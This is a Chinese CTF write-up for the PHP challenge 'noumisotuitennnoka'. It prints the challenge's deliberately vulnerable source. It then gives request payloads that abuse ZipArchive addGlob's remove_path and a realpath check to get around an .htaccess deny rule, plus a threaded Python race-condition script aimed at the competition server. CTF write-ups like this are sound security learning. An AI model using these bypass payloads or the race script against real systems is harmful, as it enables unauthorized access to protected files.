前言
根本不会做呜呜
wp大赏:
W&M | El3ctronic(Vidar+L+CNSS+凌武实验室) | DJB | 星盟 | EDI
Web
noumisotuitennnoka(复现)
addGlob的remove_path特性
<?php
highlight_file(__FILE__);
$dir = '/tmp';
$htContent = <<<EOT
<Files "backdoor.php">
Deny from all
</Files>
EOT;
$action = $_GET['action'] ?? 'create';
$content = $_GET['content'] ?? '<?php echo file_get_contents("/flag");@unlink(__FILE__);';
$subdir = $_GET['subdir'] ?? '/jsons';
if(!preg_match('/^\/\.?[a-z]+$/', $subdir) || strlen($subdir) > 10)
die("....");
$jsonDir = $dir . $subdir;
$escapeDir = '/var/www/html' . $subdir;
$archiveFile = $jsonDir . '/archive.zip';
if($action == 'create'){
// create jsons/api.json
@mkdir($jsonDir);
file_put_contents($jsonDir. '/backdoor.php', $content);
file_put_contents($jsonDir.'/.htaccess',$htContent);
}
if($action == 'zip'){
delete($archiveFile);
// create archive.zip
$dev_dir = $_GET['dev'] ?? $dir;
if(realpath($dev_dir) !== $dir)
die('...');
$zip = new ZipArchive();
$zip->open($archiveFile, ZipArchive::CREATE);
$zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->close();
}
if($action == 'unzip' && is_file($archiveFile)){
$zip = new ZipArchive();
$zip->open($archiveFile);
$zip->extractTo('/');
$zip->close();
}
if($action == 'clean'){
if (file_exists($escapeDir))
delete($escapeDir);
else
echo "Failed.(/var/www/html)";
if (file_exists($jsonDir))
delete($jsonDir);
else
echo "Failed.(/tmp)";
}
function delete($path){
if(is_file($path))
@unlink($path);
elseif (is_dir($path))
@rmdir($path);
}
先审计一下代码,$htContent
设置我们不能直接访问backdoor.php
我们可控的参数有action,content,subdir,dev
action参数有create,zip,unzip,clean四种模式
create模式下,会在/tmp/$subdir下创建一个目录,分别把
$content
和$htContent
的内容写入backdoor.php和.htaccesszip模式下,检测dev参数的实际路径是否与
$dir
匹配,创建一个 ZipArchive 对象,并打开$archiveFile
文件以便写入,使用
addGlob
方法将$jsonDir
目录下的所有文件(包括子目录)和.htaccess
文件添加到 ZIP 归档文件中,同时指定添加路径(即等会解压出来的路径的前一部分)为
/var/www/html
和移除路径$dev_dir
unzip模式下,创建一个 ZipArchive 对象,并打开
$archiveFile
文件以便读取,将 ZIP 归档文件中的内容解压到根目录/
clean模式下,如果
$escapeDir
存在,则删除该目录或文件;如果$jsonDir
存在,则删除该目录或文件
那么我们要做的就是绕过.htaccess成功读取到backdoor.php的内容
那么题目怎么做呢,先起个本地php环境试试,记得安装一下zip的扩展
apt-get update && apt-get install -y zlib1g-dev && apt-get install -y libzip-dev
docker-php-ext-install zip
把create,zip,unzip三个默认操作都用一遍,确实会在/var/www/html下生成jsons文件夹,里面有.htaccess和backdoor.php
那我们一开始的思路肯定是想办法把.htaccess删掉,
这里的clean模式确实能删除文件,但是
$subdir = $_GET['subdir'] ?? '/jsons';
if(!preg_match('/^\/\.?[a-z]+$/', $subdir) || strlen($subdir) > 10)
die("....");
$escapeDir = '/var/www/html' . $subdir;
正则匹配长度不能超过10,也就是说最多只能是/.htaccess
,绕不过去
预期解1:让两个文件不在同一个文件夹下
换个思路,能删除文件的除了clean模式以外还有zip模式中remove_path' => $dev_dir
,这个会排除压缩时加入的文件
$zip->addGlob($jsonDir . '/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
$zip->addGlob($jsonDir . '/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => $dev_dir]);
addGlob方法
通过 glob 模式从目录中添加文件
我们直接用题目的代码测试一下
<?php
$htContent = <<<EOT
<Files "backdoor.php">
Deny from all
</Files>
EOT;
$content = $_GET['content'] ?? '<?php echo file_get_contents("/flag");@unlink(__FILE__);';
@mkdir('/tmp/jsons');
file_put_contents('/tmp/jsons/backdoor.php', $content);
file_put_contents('/tmp/jsons/.htaccess',$htContent);
delete('/tmp/jsons/archive.zip');
$zip = new ZipArchive();
$zip->open('/tmp/jsons/archive.zip', ZipArchive::CREATE);
$zip->addGlob('/tmp/jsons/**', 0, ['add_path' => 'var/www/html/', 'remove_path' => '/tmp']);
$zip->addGlob('/tmp/jsons/.htaccess', 0, ['add_path' => 'var/www/html/', 'remove_path' => '/tmp']);
$zip->close();
echo system('cat /tmp/jsons/archive.zip');
function delete($path){
if(is_file($path))
@unlink($path);
elseif (is_dir($path))
@rmdir($path);
}
路径是var/www/html/jsons/backdoor.php
,接下来把remove_path
去掉看看
此时的路径多了个/tmp变成了var/www/html//tmp/jsons/backdoor.php
,可见remove_path
会移除zip压缩文件中的对应/tmp/
路径部分
但是这个怎么利用呢,我们看一下$dev_dir
$dir = '/tmp';
$dev_dir = $_GET['dev'] ?? $dir;
if(realpath($dev_dir) !== $dir)
die('...');
realpath函数
猜测要在realpath
函数上面做文章,本地测试一下:
realpath()返回规范化的绝对路径名,它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。
<?php
$dir = 'C:\Windows';
$dev_dir = 'C:\Windows\.';
if(realpath($dev_dir) !== $dir){
echo realpath($dev_dir);
echo "yes";
}else{
echo "no";
}
// no
可以发现,我们要是让$dev_dir的值在$dir路径的基础上再多一个/.
,解析出的还是原来的路径,于是依旧可以绕过realpath
的检测
于是我们可以设置remove_path
为/tmp/.
再次压缩看看
发现排除路径并没有生效,但是我们我们知道.htaccess
文件名开头带个.
,那如果我们一开始设置$subdir使$jsondir为/tmp/tmp
会怎么样?
发现前面依旧是/var/www/html//tmp/tmp/backdoor.php
,而后面变成了/var/www/html/p/.htaccess
,但是这里为什么是这个路径/p/
?我还是不怎么清楚
此时这两个文件就不在同一个文件夹下,从而我们解压之后就可以读取/tmp/tmp/backdoor.php了(注:如果这时候还不能读说明之前测试的时候污染了/tmp这个父文件夹导致存在.htaccess)
所以payload:
?action=create&subdir=/tmp
?action=zip&subdir=/tmp&dev=/tmp/.
?action=unzip&subdir=/tmp
预期解2:删掉.htaccess
设$jsondir为/tmp/f
,remove_path为/tmp
接下来我们构造路径/tmp/
, 发现remove_path
会去掉/tmp
后面一个字符
而/tmp//
会去掉后面两个字符
var/www/html//tmp/f/.htaccess
去掉/tmp及后面两个字符之后就变成var/www/html/.htaccess
那么此时解压后.htaccess就在/var/www/html下了,subdir的路径长度刚好为10可以过正则
于是clean删掉.htaccess,然后直接访问backdoor.php即可
payload:
?action=create&subdir=/f
?action=zip&dev=/tmp//&subdir=/f
?action=unzip&dev=/tmp//&subdir=/f
?action=clean&dev=/tmp//&subdir=/.htaccess
大概是非预期:条件竞争
by https://cn-sec.com/archives/2200754.html
竞争create和zip,这样可以去掉访问限制
import threading
import requests
url = "http://web-76898ea9a8.challenge.xctf.org.cn/"
sess = requests.session()
t = threading.Semaphore(80)
def clean():
while True:
t.acquire()
p = {"action": "clean", "subdir": "/xxx"}
sess.get(url, params=p)
t.release()
def create():
while True:
t.acquire()
p = {"action": "create", "subdir": "/xxx"}
sess.get(url, params=p)
t.release()
def zip():
while True:
t.acquire()
p = {"action": "zip", "subdir": "/xxx"}
sess.get(url, params=p)
t.release()
def unzip():
while True:
t.acquire()
p = {"action": "unzip", "subdir": "/xxx"}
sess.get(url, params=p)
t.release()
threading.Thread(target=clean).start()
threading.Thread(target=create).start()
threading.Thread(target=create).start()
threading.Thread(target=zip).start()
threading.Thread(target=unzip).start()
while True:
fh = sess.get(url + "xxx/backdoor.php")
if fh.status_code != 403:
print(fh.text)